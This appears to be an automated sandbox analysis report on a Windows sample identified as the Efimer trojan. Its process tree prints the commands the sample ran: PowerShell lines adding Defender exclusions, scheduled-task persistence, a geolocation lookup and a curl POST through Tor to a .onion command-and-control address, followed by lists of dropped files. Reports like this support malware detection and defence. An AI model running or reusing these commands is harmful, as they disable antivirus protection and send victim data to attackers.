Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/05/2026, 16:50
General
- Target common.exe
- Size 13.2MB
- Sample260511-vcja7ae13w
- SHA256 42a8e6ad1a82a151be979416c05f18d4b2f9bfffed25659b92e0a53be2eaef5b
Malware Config
Signatures
- Family: Efimer
Efimer is a trojan written in JS.
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\common.exe"C:\Users\Admin\AppData\Local\Temp\common.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\common.exe"C:\Users\Admin\AppData\Local\Temp\common.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ibigi'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ibigi'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn iboxo /xml C:\Users\Public\Documents\ibigi\iboxo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn eyuyo /xml C:\Users\Public\Documents\ibigi\eyuyo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ibigi\eyuyo.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\ibigi\ugate.exe"C:\Users\Public\Documents\ibigi\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-f36a45d5&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
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C:\Users\Public\Documents\ibigi\ugate.exe"C:\Users\Public\Documents\ibigi\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ibigi\iboxo.js1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
addrs.txt
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_neacr0i5.0to.ps1
cfile
cached-certs
cached-microdesc-consensus.tmp
cached-microdescs.new
cached-microdescs.new
state
GUID
addrs.txt
eyuyo.js
eyuyo.xml
iboxo.js
iboxo.xml
ugate.exe
words.txt
memory/208-173-0x0000020EB6320000-0x0000020EB632C000-memory.dmp
memory/208-174-0x0000020EB7FD0000-0x0000020EB870F000-memory.dmp
memory/1028-122-0x0000026770950000-0x000002677095C000-memory.dmp
memory/1028-123-0x0000026772890000-0x0000026772FCF000-memory.dmp
memory/2264-111-0x0000017DD1320000-0x0000017DD132C000-memory.dmp
memory/2264-112-0x0000017DEB340000-0x0000017DEBA7F000-memory.dmp
memory/2496-163-0x00007FF72AE20000-0x00007FF72AE52000-memory.dmp
memory/2496-87-0x00007FF72AE20000-0x00007FF72AE52000-memory.dmp
memory/3356-85-0x00000248A33C0000-0x00000248A33CC000-memory.dmp
memory/3356-86-0x00000248BB9A0000-0x00000248BC0DF000-memory.dmp
memory/3360-172-0x00000205AAD90000-0x00000205AB4CF000-memory.dmp
memory/3360-171-0x00000205A90F0000-0x00000205A90FC000-memory.dmp
memory/3688-97-0x000001E4D0110000-0x000001E4D011C000-memory.dmp
memory/3688-98-0x000001E4E8530000-0x000001E4E8C6F000-memory.dmp
memory/3864-109-0x0000022886DA0000-0x00000228874DF000-memory.dmp
memory/3864-162-0x0000022886DA0000-0x00000228874DF000-memory.dmp
memory/3864-161-0x0000000070180000-0x000000007022B000-memory.dmp
memory/3864-160-0x00007FF72AE20000-0x00007FF72AE52000-memory.dmp
memory/3864-107-0x00007FF72AE20000-0x00007FF72AE52000-memory.dmp
memory/3864-108-0x0000000070180000-0x000000007022B000-memory.dmp
memory/3968-74-0x00000252B1F10000-0x00000252B264F000-memory.dmp
memory/3968-73-0x0000025299A90000-0x0000025299A9C000-memory.dmp
memory/3968-65-0x00000252B1D30000-0x00000252B1D52000-memory.dmp
memory/3968-62-0x00000252B1E00000-0x00000252B1E10000-memory.dmp
memory/3968-61-0x00000252B1E00000-0x00000252B1E10000-memory.dmp
memory/4196-134-0x000001882BF90000-0x000001882C6CF000-memory.dmp
memory/4196-133-0x0000018812230000-0x000001881223C000-memory.dmp